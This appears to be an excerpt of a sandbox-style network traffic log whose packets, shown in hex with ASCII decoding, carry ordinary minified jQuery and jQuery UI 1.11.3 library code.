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2022-08-11 03:42:56 UTC 8602 IN Data Raw: 72 65 74 75 72 6e 20 6e 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 6e 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 73 65 
6c 65 63 74 65 64 49 6e 64 65 78 2c 6e 2e 73 65 6c 65 63 74 65 64 3d 3d 3d 21 30 7d 2c 65 6d 70 74 79 3a 66 75 6e 63 
74 69 6f 6e 28 6e 29 7b 66 6f 72 28 6e 3d 6e 2e 66 69 72 73 74 43 68 69 6c 64 3b 6e 3b 6e 3d 6e 2e 6e 65 78 74 53 69 
62 6c 69 6e 67 29 69 66 28 6e 2e 6e 6f 64 65 54 79 70 65 3c 36 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 
7d 2c 70 61 72 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 21 74 2e 70 73 65 75 64 6f 73 2e 65 
6d 70 74 79 28 6e 29 7d 2c 68 65 61 64 65 72 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 73 72 2e 74 
65 73 74 28 6e 2e 6e 6f 64 65 4e 61 6d 65 29 7d 2c 69 6e 70 75 74 3a 66 
Data Ascii: return n.parentNode&&n.parentNode.selectedIndex,n.selected===!0},empty:function(n){for(n=n.firstCh
ild;n;n=n.nextSibling)if(n.nodeType<6)return!1;return!0},parent:function(n){return!t.pseudos.empty(n)},header:function(n)
{return sr.test(n.nodeName)},input:f

2022-08-11 03:42:56 UTC 8618 IN Data Raw: 28 64 65 6c 65 74 65 20 79 2e 68 61 6e 64 6c 65 2c 72 2e 72 65 6d 6f 76 65 28 6e 2c 22 65 76 65 6e 74 73 22 
29 29 7d 7d 2c 74 72 69 67 67 65 72 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 66 2c 65 2c 6f 29 7b 76 61 72 20 77 2c 73 2c 
63 2c 62 2c 61 2c 76 2c 6c 2c 70 3d 5b 65 7c 7c 75 5d 2c 68 3d 69 69 2e 63 61 6c 6c 28 74 2c 22 74 79 70 65 22 29 3f 
74 2e 74 79 70 65 3a 74 2c 79 3d 69 69 2e 63 61 6c 6c 28 74 2c 22 6e 61 6d 65 73 70 61 63 65 22 29 3f 74 2e 6e 61 6d 6
5 73 70 61 63 65 2e 73 70 6c 69 74 28 22 2e 22 29 3a 5b 5d 3b 69 66 28 28 73 3d 63 3d 65 3d 65 7c 7c 75 2c 65 2e 6e 6f 
64 65 54 79 70 65 21 3d 3d 33 26 26 65 2e 6e 6f 64 65 54 79 70 65 21 3d 3d 38 29 26 26 21 6f 72 2e 74 65 73 74 28 68 
2b 69 2e 65 76 65 6e 74 2e 74 72 69 67 67 65 72 65 64 29 26 26 28 68 
Data Ascii: (delete y.handle,r.remove(n,"events"))}},trigger:function(t,f,e,o){var w,s,c,b,a,v,l,p=[e||u],h=ii.call(t,"type")?t.ty
pe:t,y=ii.call(t,"namespace")?t.namespace.split("."):[];if((s=c=e=e||u,e.nodeType!==3&&e.nodeType!==8)&&!or.test(h+i.eve
nt.triggered)&&(h

2022-08-11 03:42:56 UTC 8634 IN Data Raw: 2c 30 2c 31 2c 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 64 75 72 61 74 69 6f 6e 29 3a 74 3d 6e 2c 74 68 69 73 
2e 6e 6f 77 3d 28 74 68 69 73 2e 65 6e 64 2d 74 68 69 73 2e 73 74 61 72 74 29 2a 74 2b 74 68 69 73 2e 73 74 61 72 74 
2c 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 73 74 65 70 26 26 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 73 74 65 70 2e 63 61 
6c 6c 28 74 68 69 73 2e 65 6c 65 6d 2c 74 68 69 73 2e 6e 6f 77 2c 74 68 69 73 29 2c 72 26 26 72 2e 73 65 74 3f 72 2e 73 
65 74 28 74 68 69 73 29 3a 73 2e 70 72 6f 70 48 6f 6f 6b 73 2e 5f 64 65 66 61 75 6c 74 2e 73 65 74 28 74 68 69 73 29 2c 
74 68 69 73 7d 7d 3b 73 2e 70 72 6f 74 6f 74 79 70 65 2e 69 6e 69 74 2e 70 72 6f 74 6f 74 79 70 65 3d 73 2e 70 72 6f 74 
6f 74 79 70 65 3b 73 2e 70 72 6f 70 48 6f 6f 6b 73 3d 7b 5f 
Data Ascii: ,0,1,this.options.duration):t=n,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(
this.elem,this.now,this),r&&r.set?r.set(this):s.propHooks._default.set(this),this}};s.prototype.init.prototype=s.prototy
pe;s.propHooks={_

2022-08-11 03:42:56 UTC 8650 IN Data Raw: 64 26 26 28 74 3d 69 2e 61 6a 61 78 53 65 74 74 69 6e 67 73 26 26 69 2e 61 6a 61 78 53 65 74 74 69 6e 67 
73 2e 74 72 61 64 69 74 69 6f 6e 61 6c 29 2c 69 2e 69 73 41 72 72 61 79 28 6e 29 7c 7c 6e 2e 6a 71 75 65 72 79 26 26 
21 69 2e 69 73 50 6c 61 69 6e 4f 62 6a 65 63 74 28 6e 29 29 69 2e 65 61 63 68 28 6e 2c 66 75 6e 63 74 69 6f 6e 28 29 7
b 66 28 74 68 69 73 2e 6e 61 6d 65 2c 74 68 69 73 2e 76 61 6c 75 65 29 7d 29 3b 65 6c 73 65 20 66 6f 72 28 72 20 69 6e 
20 6e 29 76 69 28 72 2c 6e 5b 72 5d 2c 74 2c 66 29 3b 72 65 74 75 72 6e 20 75 2e 6a 6f 69 6e 28 22 26 22 29 2e 72 65 
70 6c 61 63 65 28 79 65 2c 22 2b 22 29 7d 3b 69 2e 66 6e 2e 65 78 74 65 6e 64 28 7b 73 65 72 69 61 6c 69 7a 65 3a 66 
75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 69 2e 70 61 72 61 6d 
Data Ascii: d&&(t=i.ajaxSettings&&i.ajaxSettings.traditional),i.isArray(n)||n.jquery&&!i.isPlainObject(n))i.each(n,function()
{f(this.name,this.value)});else for(r in n)vi(r,n[r],t,f);return u.join("&").replace(ye,"+")};i.fn.extend({serialize:function(){return 
i.param

2022-08-11 03:42:56 UTC 8666 IN Data Raw: 77 69 64 67 65 74 45 76 65 6e 74 50 72 65 66 69 78 3a 66 3f 6f 2e 77 69 64 67 65 74 45 76 65 6e 74 50 72 65 
66 69 78 7c 7c 74 3a 74 7d 2c 68 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 75 2c 6e 61 6d 65 73 70 61 63 65 3a 65 2c 
77 69 64 67 65 74 4e 61 6d 65 3a 74 2c 77 69 64 67 65 74 46 75 6c 6c 4e 61 6d 65 3a 73 7d 29 2c 66 3f 28 6e 2e 65 61 
63 68 28 66 2e 5f 63 68 69 6c 64 43 6f 6e 73 74 72 75 63 74 6f 72 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 69 29 7b 76 61 
72 20 72 3d 69 2e 70 72 6f 74 6f 74 79 70 65 3b 6e 2e 77 69 64 67 65 74 28 72 2e 6e 61 6d 65 73 70 61 63 65 2b 22 2e 2
2 2b 72 2e 77 69 64 67 65 74 4e 61 6d 65 2c 75 2c 69 2e 5f 70 72 6f 74 6f 29 7d 29 2c 64 65 6c 65 74 65 20 66 2e 5f 63 6
8 69 6c 64 43 6f 6e 73 74 72 75 63 74 6f 72 73 29 3a 69 2e 5f 63 
Data Ascii: widgetEventPrefix:f?o.widgetEventPrefix||t:t},h,{constructor:u,namespace:e,widgetName:t,widgetFullName:s}),f
?(n.each(f._childConstructors,function(t,i){var r=i.prototype;n.widget(r.namespace+"."+r.widgetName,u,i._proto)}),delete 
f._childConstructors):i._c

2022-08-11 03:42:56 UTC 8682 IN Data Raw: 73 2e 61 64 64 43 6c 61 73 73 28 22 75 69 2d 61 63 63 6f 72 64 69 6f 6e 2d 69 63 6f 6e 73 22 29 29 7d 2c 5f 
64 65 73 74 72 6f 79 49 63 6f 6e 73 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 68 65 61 64 65 72 73 2e 72 65 
6d 6f 76 65 43 6c 61 73 73 28 22 75 69 2d 61 63 63 6f 72 64 69 6f 6e 2d 69 63 6f 6e 73 22 29 2e 63 68 69 6c 64 72 65 6e 
28 22 2e 75 69 2d 61 63 63 6f 72 64 69 6f 6e 2d 68 65 61 64 65 72 2d 69 63 6f 6e 22 29 2e 72 65 6d 6f 76 65 28 29 7d 2c 
5f 64 65 73 74 72 6f 79 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 3b 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2e 
72 65 6d 6f 76 65 43 6c 61 73 73 28 22 75 69 2d 61 63 63 6f 72 64 69 6f 6e 20 75 69 2d 77 69 64 67 65 74 20 75 69 2d 6
8 65 6c 70 65 72 2d 72 65 73 65 74 22 29 2e 72 65 6d 6f 76 65 41 
Data Ascii: s.addClass("ui-accordion-icons"))},_destroyIcons:function(){this.headers.removeClass("ui-accordion-icons").c
hildren(".ui-accordion-header-icon").remove()},_destroy:function(){var n;this.element.removeClass("ui-accordion ui-widget 
ui-helper-reset").removeA

2022-08-11 03:42:56 UTC 8706 IN Data Raw: 72 65 74 75 72 6e 20 74 68 69 73 2e 61 63 74 69 76 65 4d 65 6e 75 2e 66 69 6e 64 28 74 68 69 73 2e 6f 70 
74 69 6f 6e 73 2e 69 74 65 6d 73 29 2e 66 69 6c 74 65 72 28 22 2e 75 69 2d 6d 65 6e 75 2d 69 74 65 6d 22 29 2e 66 69 
6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 2e 74 65 73 74 28 6e 2e 74 72 69 6d 28 6e 28 
74 68 69 73 29 2e 74 65 78 74 28 29 29 29 7d 29 7d 7d 29 3b 0d 0a 2f 2a 21 0d 0a 20 2a 20 6a 51 75 65 72 79 20 55 49 
20 41 75 74 6f 63 6f 6d 70 6c 65 74 65 20 31 2e 31 31 2e 33 0d 0a 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 
2e 63 6f 6d 0d 0a 20 2a 0d 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 
20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 
Data Ascii: return this.activeMenu.find(this.options.items).filter(".ui-menu-item").filter(function(){return r.test(n.trim(n(this)
.text()))})}});/*! * jQuery UI Autocomplete 1.11.3 * http://jqueryui.com * * Copyright jQuery Foundation and other contr
ibutors

2022-08-11 03:42:56 UTC 8722 IN Data Raw: 63 74 44 61 74 65 70 69 63 6b 65 72 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 69 29 7b 76 61 72 20 72 3d 6e 28 
74 29 3b 28 69 2e 61 70 70 65 6e 64 3d 6e 28 5b 5d 29 2c 69 2e 74 72 69 67 67 65 72 3d 6e 28 5b 5d 29 2c 72 2e 68 61 
73 43 6c 61 73 73 28 74 68 69 73 2e 6d 61 72 6b 65 72 43 6c 61 73 73 4e 61 6d 65 29 29 7c 7c 28 74 68 69 73 2e 5f 61 7
4 74 61 63 68 6d 65 6e 74 73 28 72 2c 69 29 2c 72 2e 61 64 64 43 6c 61 73 73 28 74 68 69 73 2e 6d 61 72 6b 65 72 43 
6c 61 73 73 4e 61 6d 65 29 2e 6b 65 79 64 6f 77 6e 28 74 68 69 73 2e 5f 64 6f 4b 65 79 44 6f 77 6e 29 2e 6b 65 79 70 72 
65 73 73 28 74 68 69 73 2e 5f 64 6f 4b 65 79 50 72 65 73 73 29 2e 6b 65 79 75 70 28 74 68 69 73 2e 5f 64 6f 4b 65 79 55 
70 29 2c 74 68 69 73 2e 5f 61 75 74 6f 53 69 7a 65 28 69 29 2c 6e 2e 
Data Ascii: ctDatepicker:function(t,i){var r=n(t);(i.append=n([]),i.trigger=n([]),r.hasClass(this.markerClassName))||(th
is._attachments(r,i),r.addClass(this.markerClassName).keydown(this._doKeyDown).keypress(this._doKeyPress).keyu
p(this._doKeyUp),this._autoSize(i),n.

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:56 UTC 8738 IN Data Raw: 29 3b 69 66 28 6e 2e 65 61 63 68 28 6f 2c 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 76 61 72 20 72 3d 74 5b 
31 5d 3b 69 66 28 69 2e 73 75 62 73 74 72 28 66 2c 72 2e 6c 65 6e 67 74 68 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 
29 3d 3d 3d 72 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 72 65 74 75 72 6e 20 65 3d 74 5b 30 5d 2c 66 2b 3d 72 2e 
6c 65 6e 67 74 68 2c 21 31 7d 29 2c 65 21 3d 3d 2d 31 29 72 65 74 75 72 6e 20 65 2b 31 3b 74 68 72 6f 77 22 55 6e 6b 
6e 6f 77 6e 20 6e 61 6d 65 20 61 74 20 70 6f 73 69 74 69 6f 6e 20 22 2b 66 3b 7d 2c 62 3d 66 75 6e 63 74 69 6f 6e 28 29 
7b 69 66 28 69 2e 63 68 61 72 41 74 28 66 29 21 3d 3d 74 2e 63 68 61 72 41 74 28 6f 29 29 74 68 72 6f 77 22 55 6e 65 
78 70 65 63 74 65 64 20 6c 69 74 65 72 61 6c 20 61 74 20 70 6f 73 69 
Data Ascii: );if(n.each(o,function(n,t){var r=t[1];if(i.substr(f,r.length).toLowerCase()===r.toLowerCase())return e=t[0]
,f+=r.length,!1}),e!==-1)return e+1;throw"Unknown name at position "+f;},b=function(){if(i.charAt(f)!==t.charAt(o))throw
"Unexpected literal at posi

2022-08-11 03:42:56 UTC 8754 IN Data Raw: 65 63 74 54 6f 53 6f 72 74 61 62 6c 65 3a 21 31 2c 63 6f 6e 74 61 69 6e 6d 65 6e 74 3a 21 31 2c 63 75 72 73 
6f 72 3a 22 61 75 74 6f 22 2c 63 75 72 73 6f 72 41 74 3a 21 31 2c 67 72 69 64 3a 21 31 2c 68 61 6e 64 6c 65 3a 21 31 2c 
68 65 6c 70 65 72 3a 22 6f 72 69 67 69 6e 61 6c 22 2c 69 66 72 61 6d 65 46 69 78 3a 21 31 2c 6f 70 61 63 69 74 79 3a 
21 31 2c 72 65 66 72 65 73 68 50 6f 73 69 74 69 6f 6e 73 3a 21 31 2c 72 65 76 65 72 74 3a 21 31 2c 72 65 76 65 72 74 
44 75 72 61 74 69 6f 6e 3a 35 30 30 2c 73 63 6f 70 65 3a 22 64 65 66 61 75 6c 74 22 2c 73 63 72 6f 6c 6c 3a 21 30 2c 73 
63 72 6f 6c 6c 53 65 6e 73 69 74 69 76 69 74 79 3a 32 30 2c 73 63 72 6f 6c 6c 53 70 65 65 64 3a 32 30 2c 73 6e 61 70 3a 
21 31 2c 73 6e 61 70 4d 6f 64 65 3a 22 62 6f 74 68 22 2c 73 6e 
Data Ascii: ectToSortable:!1,containment:!1,cursor:"auto",cursorAt:!1,grid:!1,handle:!1,helper:"original",iframeFix:!1,o
pacity:!1,refreshPositions:!1,revert:!1,revertDuration:500,scope:"default",scroll:!0,scrollSensitivity:20,scrollSpeed:20
,snap:!1,snapMode:"both",sn

2022-08-11 03:42:56 UTC 8770 IN Data Raw: 2b 66 7c 7c 64 3c 6c 2d 66 7c 7c 70 3e 76 2b 66 7c 7c 21 6e 2e 63 6f 6e 74 61 69 6e 73 28 72 2e 73 6e 61 70 
45 6c 65 6d 65 6e 74 73 5b 75 5d 2e 69 74 65 6d 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2c 72 2e 73 6e 61 70 45 6c 
65 6d 65 6e 74 73 5b 75 5d 2e 69 74 65 6d 29 29 7b 72 2e 73 6e 61 70 45 6c 65 6d 65 6e 74 73 5b 75 5d 2e 73 6e 61 70 
70 69 6e 67 26 26 72 2e 6f 70 74 69 6f 6e 73 2e 73 6e 61 70 2e 72 65 6c 65 61 73 65 26 26 72 2e 6f 70 74 69 6f 6e 73 2e 
73 6e 61 70 2e 72 65 6c 65 61 73 65 2e 63 61 6c 6c 28 72 2e 65 6c 65 6d 65 6e 74 2c 74 2c 6e 2e 65 78 74 65 6e 64 28 
72 2e 5f 75 69 48 61 73 68 28 29 2c 7b 73 6e 61 70 49 74 65 6d 3a 72 2e 73 6e 61 70 45 6c 65 6d 65 6e 74 73 5b 75 5d 
2e 69 74 65 6d 7d 29 29 3b 72 2e 73 6e 61 70 45 6c 65 6d 65 6e 74 73 
Data Ascii: +f||d<l-f||p>v+f||!n.contains(r.snapElements[u].item.ownerDocument,r.snapElements[u].item)){r.snap
Elements[u].snapping&&r.options.snap.release&&r.options.snap.release.call(r.element,t,n.extend(r._uiHash(),{sn
apItem:r.snapElements[u].item}));r.snapElements

2022-08-11 03:42:56 UTC 8786 IN Data Raw: 69 2e 63 6f 6e 74 61 69 6e 65 72 45 6c 65 6d 65 6e 74 2e 63 73 73 28 22 70 6f 73 69 74 69 6f 6e 22 29 29 3b 
68 26 26 63 3f 28 69 2e 6f 66 66 73 65 74 2e 6c 65 66 74 3d 69 2e 70 61 72 65 6e 74 44 61 74 61 2e 6c 65 66 74 2b 69 
2e 70 6f 73 69 74 69 6f 6e 2e 6c 65 66 74 2c 69 2e 6f 66 66 73 65 74 2e 74 6f 70 3d 69 2e 70 61 72 65 6e 74 44 61 74 61 
2e 74 6f 70 2b 69 2e 70 6f 73 69 74 69 6f 6e 2e 74 6f 70 29 3a 28 69 2e 6f 66 66 73 65 74 2e 6c 65 66 74 3d 69 2e 65 6c 
65 6d 65 6e 74 2e 6f 66 66 73 65 74 28 29 2e 6c 65 66 74 2c 69 2e 6f 66 66 73 65 74 2e 74 6f 70 3d 69 2e 65 6c 65 6d 65 
6e 74 2e 6f 66 66 73 65 74 28 29 2e 74 6f 70 29 3b 6f 3d 4d 61 74 68 2e 61 62 73 28 69 2e 73 69 7a 65 44 69 66 66 2e 
77 69 64 74 68 2b 28 69 2e 5f 68 65 6c 70 65 72 3f 69 2e 6f 66 
Data Ascii: i.containerElement.css("position"));h&&c?(i.offset.left=i.parentData.left+i.position.left,i.offset.top=i.parentData.to
p+i.position.top):(i.offset.left=i.element.offset().left,i.offset.top=i.element.offset().top);o=Math.abs(i.sizeDiff.width+(i._help
er?i.of

2022-08-11 03:42:56 UTC 8802 IN Data Raw: 65 3a 6e 75 6c 6c 2c 64 65 61 63 74 69 76 61 74 65 3a 6e 75 6c 6c 2c 64 72 6f 70 3a 6e 75 6c 6c 2c 6f 75 74 
3a 6e 75 6c 6c 2c 6f 76 65 72 3a 6e 75 6c 6c 7d 2c 5f 63 72 65 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 
74 2c 69 3d 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2c 72 3d 69 2e 61 63 63 65 70 74 3b 74 68 69 73 2e 69 73 6f 76 65 72 3d 
21 31 3b 74 68 69 73 2e 69 73 6f 75 74 3d 21 30 3b 74 68 69 73 2e 61 63 63 65 70 74 3d 6e 2e 69 73 46 75 6e 63 74 69 
6f 6e 28 72 29 3f 72 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 6e 2e 69 73 28 72 29 7d 3b 74 68 69 
73 2e 70 72 6f 70 6f 72 74 69 6f 6e 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 61 72 67 75 6d 65 6e 74 73 2e 6c 65 
6e 67 74 68 29 74 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3b 65 
Data Ascii: e:null,deactivate:null,drop:null,out:null,over:null},_create:function(){var t,i=this.options,r=i.accept;this.isover=!1
;this.isout=!0;this.accept=n.isFunction(r)?r:function(n){return n.is(r)};this.proportions=function(){if(arguments.length
)t=arguments[0];e

2022-08-11 03:42:56 UTC 8818 IN Data Raw: 3a 22 31 30 30 25 22 2c 62 61 63 6b 67 72 6f 75 6e 64 3a 22 74 72 61 6e 73 70 61 72 65 6e 74 22 2c 62 6f 72 
64 65 72 3a 22 6e 6f 6e 65 22 2c 6d 61 72 67 69 6e 3a 30 2c 70 61 64 64 69 6e 67 3a 30 7d 29 2c 66 3d 7b 77 69 64 74 
68 3a 74 2e 77 69 64 74 68 28 29 2c 68 65 69 67 68 74 3a 74 2e 68 65 69 67 68 74 28 29 7d 2c 72 3d 64 6f 63 75 6d 65 
6e 74 2e 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3b 74 72 79 7b 72 2e 69 64 7d 63 61 74 63 68 28 65 29 7b 72 3d 64 6f 
63 75 6d 65 6e 74 2e 62 6f 64 79 7d 72 65 74 75 72 6e 20 74 2e 77 72 61 70 28 75 29 2c 28 74 5b 30 5d 3d 3d 3d 72 7c 
7c 6e 2e 63 6f 6e 74 61 69 6e 73 28 74 5b 30 5d 2c 72 29 29 26 26 6e 28 72 29 2e 66 6f 63 75 73 28 29 2c 75 3d 74 2e 
70 61 72 65 6e 74 28 29 2c 74 2e 63 73 73 28 22 70 6f 73 69 74 69 6f 6e 
Data Ascii: :"100%",background:"transparent",border:"none",margin:0,padding:0}),f={width:t.width(),height:t.height()},r=
document.activeElement;try{r.id}catch(e){r=document.body}return t.wrap(u),(t[0]===r||n.contains(t[0],r))&&n(r).focus(),u
=t.parent(),t.css("position

2022-08-11 03:42:56 UTC 8834 IN Data Raw: 43 6f 70 79 72 69 67 68 74 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 
72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0d 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 
49 54 20 6c 69 63 65 6e 73 65 2e 0d 0a 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 
65 0d 0a 20 2a 0d 0a 20 2a 20 68 74 74 70 3a 2f 2f 61 70 69 2e 6a 71 75 65 72 79 75 69 2e 63 6f 6d 2f 73 6c 69 64 65 2d 
65 66 66 65 63 74 2f 0d 0a 20 2a 2f 0d 0a 75 69 3d 6e 2e 65 66 66 65 63 74 73 2e 65 66 66 65 63 74 2e 73 6c 69 64 65 
3d 66 75 6e 63 74 69 6f 6e 28 74 2c 69 29 7b 76 61 72 20 72 3d 6e 28 74 68 69 73 29 2c 73 3d 5b 22 70 6f 73 69 74 69 6f 
6e 22 2c 22 74 6f 70 22 2c 22 62 6f 74 74 6f 6d 22 2c 22 6c 65 
Data Ascii: Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/lic
ense * * http://api.jqueryui.com/slide-effect/ */ui=n.effects.effect.slide=function(t,i){var r=n(this),s=["position","top","bottom
","le

2022-08-11 03:42:56 UTC 8850 IN Data Raw: 74 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 
62 75 74 6f 72 73 0d 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 
73 65 2e 0d 0a 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 0d 0a 20 2a 0d 0a 20 
2a 20 68 74 74 70 3a 2f 2f 61 70 69 2e 6a 71 75 65 72 79 75 69 2e 63 6f 6d 2f 73 6c 69 64 65 72 2f 0d 0a 20 2a 2f 0d 0a 
68 69 3d 6e 2e 77 69 64 67 65 74 28 22 75 69 2e 73 6c 69 64 65 72 22 2c 6e 2e 75 69 2e 6d 6f 75 73 65 2c 7b 76 65 72 
73 69 6f 6e 3a 22 31 2e 31 31 2e 33 22 2c 77 69 64 67 65 74 45 76 65 6e 74 50 72 65 66 69 78 3a 22 73 6c 69 64 65 22 2
c 6f 70 74 69 6f 6e 73 3a 7b 61 6e 69 6d 61 74 65 3a 21 31 2c 64 
Data Ascii: t jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license * * 
http://api.jqueryui.com/slider/ */hi=n.widget("ui.slider",n.ui.mouse,{version:"1.11.3",widgetEventPrefix:"slide",options:
{animate:!1,d
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2022-08-11 03:42:56 UTC 8866 IN Data Raw: 75 6d 65 6e 74 2e 73 63 72 6f 6c 6c 4c 65 66 74 28 29 2d 69 2e 73 63 72 6f 6c 6c 53 70 65 65 64 29 3a 74 68 
69 73 2e 77 69 6e 64 6f 77 2e 77 69 64 74 68 28 29 2d 28 74 2e 70 61 67 65 58 2d 74 68 69 73 2e 64 6f 63 75 6d 65 6e 
74 2e 73 63 72 6f 6c 6c 4c 65 66 74 28 29 29 3c 69 2e 73 63 72 6f 6c 6c 53 65 6e 73 69 74 69 76 69 74 79 26 26 28 72 
3d 74 68 69 73 2e 64 6f 63 75 6d 65 6e 74 2e 73 63 72 6f 6c 6c 4c 65 66 74 28 74 68 69 73 2e 64 6f 63 75 6d 65 6e 74 2e 
73 63 72 6f 6c 6c 4c 65 66 74 28 29 2b 69 2e 73 63 72 6f 6c 6c 53 70 65 65 64 29 29 29 2c 72 21 3d 3d 21 31 26 26 6e 2
e 75 69 2e 64 64 6d 61 6e 61 67 65 72 26 26 21 69 2e 64 72 6f 70 42 65 68 61 76 69 6f 75 72 26 26 6e 2e 75 69 2e 64 64 
6d 61 6e 61 67 65 72 2e 70 72 65 70 61 72 65 4f 66 66 73 65 74 73 
Data Ascii: ument.scrollLeft()-i.scrollSpeed):this.window.width()-(t.pageX-this.document.scrollLeft())<i.scrollSensitivity&&
(r=this.document.scrollLeft(this.document.scrollLeft()+i.scrollSpeed))),r!==!1&&n.ui.ddmanager&&!i.dropBehaviour&&n.
ui.ddmanager.prepareOffsets

2022-08-11 03:42:56 UTC 10525 IN Data Raw: 2e 73 63 72 6f 6c 6c 4c 65 66 74 28 29 29 7d 7d 2c 5f 72 65 61 72 72 61 6e 67 65 3a 66 75 6e 63 74 69 6f 6e 
28 6e 2c 74 2c 69 2c 72 29 7b 69 3f 69 5b 30 5d 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 68 69 73 2e 70 6c 61 63 65 
68 6f 6c 64 65 72 5b 30 5d 29 3a 74 2e 69 74 65 6d 5b 30 5d 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 
65 66 6f 72 65 28 74 68 69 73 2e 70 6c 61 63 65 68 6f 6c 64 65 72 5b 30 5d 2c 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 
3d 3d 3d 22 64 6f 77 6e 22 3f 74 2e 69 74 65 6d 5b 30 5d 3a 74 2e 69 74 65 6d 5b 30 5d 2e 6e 65 78 74 53 69 62 6c 69 6
e 67 29 3b 74 68 69 73 2e 63 6f 75 6e 74 65 72 3d 74 68 69 73 2e 63 6f 75 6e 74 65 72 3f 2b 2b 74 68 69 73 2e 63 6f 75 
6e 74 65 72 3a 31 3b 76 61 72 20 75 3d 74 68 69 73 2e 63 6f 75 6e 
Data Ascii: .scrollLeft())}},_rearrange:function(n,t,i,r){i?i[0].appendChild(this.placeholder[0]):t.item[0].parentNode.i
nsertBefore(this.placeholder[0],this.direction==="down"?t.item[0]:t.item[0].nextSibling);this.counter=this.counter?++thi
s.counter:1;var u=this.coun

2022-08-11 03:42:56 UTC 10541 IN Data Raw: 2c 7b 63 6c 69 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6e 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 
28 29 7d 7d 29 3b 74 68 69 73 2e 5f 6f 6e 28 74 68 69 73 2e 61 6e 63 68 6f 72 73 2c 69 29 3b 74 68 69 73 2e 5f 6f 6e 28 
74 68 69 73 2e 74 61 62 73 2c 7b 6b 65 79 64 6f 77 6e 3a 22 5f 74 61 62 4b 65 79 64 6f 77 6e 22 7d 29 3b 74 68 69 73 2e 
5f 6f 6e 28 74 68 69 73 2e 70 61 6e 65 6c 73 2c 7b 6b 65 79 64 6f 77 6e 3a 22 5f 70 61 6e 65 6c 4b 65 79 64 6f 77 6e 22 
7d 29 3b 74 68 69 73 2e 5f 66 6f 63 75 73 61 62 6c 65 28 74 68 69 73 2e 74 61 62 73 29 3b 74 68 69 73 2e 5f 68 6f 76 65 
72 61 62 6c 65 28 74 68 69 73 2e 74 61 62 73 29 7d 2c 5f 73 65 74 75 70 48 65 69 67 68 74 53 74 79 6c 65 3a 66 75 6e 
63 74 69 6f 6e 28 74 29 7b 76 61 72 20 69 2c 72 3d 74 68 69 
Data Ascii: ,{click:function(n){n.preventDefault()}});this._on(this.anchors,i);this._on(this.tabs,{keydown:"_tabKeydown"
});this._on(this.panels,{keydown:"_panelKeydown"});this._focusable(this.tabs);this._hoverable(this.tabs)},_setupHeightSt
yle:function(t){var i,r=thi

2022-08-11 03:42:56 UTC 10557 IN Data Raw: 65 78 74 2c 20 5b 74 79 70 65 3d 27 70 61 73 73 77 6f 72 64 27 5d 2c 20 5b 74 79 70 65 3d 27 66 69 6c 65 27 
5d 2c 20 73 65 6c 65 63 74 2c 20 74 65 78 74 61 72 65 61 2c 20 5b 74 79 70 65 3d 27 6e 75 6d 62 65 72 27 5d 2c 20 5b 
74 79 70 65 3d 27 73 65 61 72 63 68 27 5d 20 2c 5b 74 79 70 65 3d 27 74 65 6c 27 5d 2c 20 5b 74 79 70 65 3d 27 75 72 
